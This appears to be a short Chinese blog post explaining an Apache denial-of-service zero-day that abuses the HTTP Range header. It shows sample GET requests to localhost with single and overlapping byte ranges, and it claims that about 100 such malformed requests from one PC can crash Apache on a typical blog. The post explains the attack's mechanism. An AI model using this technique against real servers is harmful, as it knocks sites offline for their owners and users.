这两天 Apache 暴出了一个DOS 0DAY,攻击非常简单,构造一个特殊的Range头即可实施攻击,关于Range头的作用,可以参照rfc文档的14.35节http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html。
一. Range头主要用于断点续传,比如服务器有一个文件,9个字节,尝试请求这个文件。
GET /1.txt HTTP/1.1 Host: 127.0.0.1

二.取前2个字节
GET /1.txt HTTP/1.1 Host: 127.0.0.1
Range: bytes=0-1

三. OK,这个文件还可以依次切片。
GET /1.txt HTTP/1.1 Host: 127.0.0.1
Range: bytes=1-2,2-3,3-4

四. 依靠这个原理,将返回内容以最大范围切片,那么服务器将会不堪重负.

经过测试针对一般博客的主页发这种畸形的切片包,单台PC 100个包就能将APACHE打挂。
PS:
此短文纯属科普娱乐,不严谨的地方勿怪,更深入的地方可以翻看APACHE源代码。
|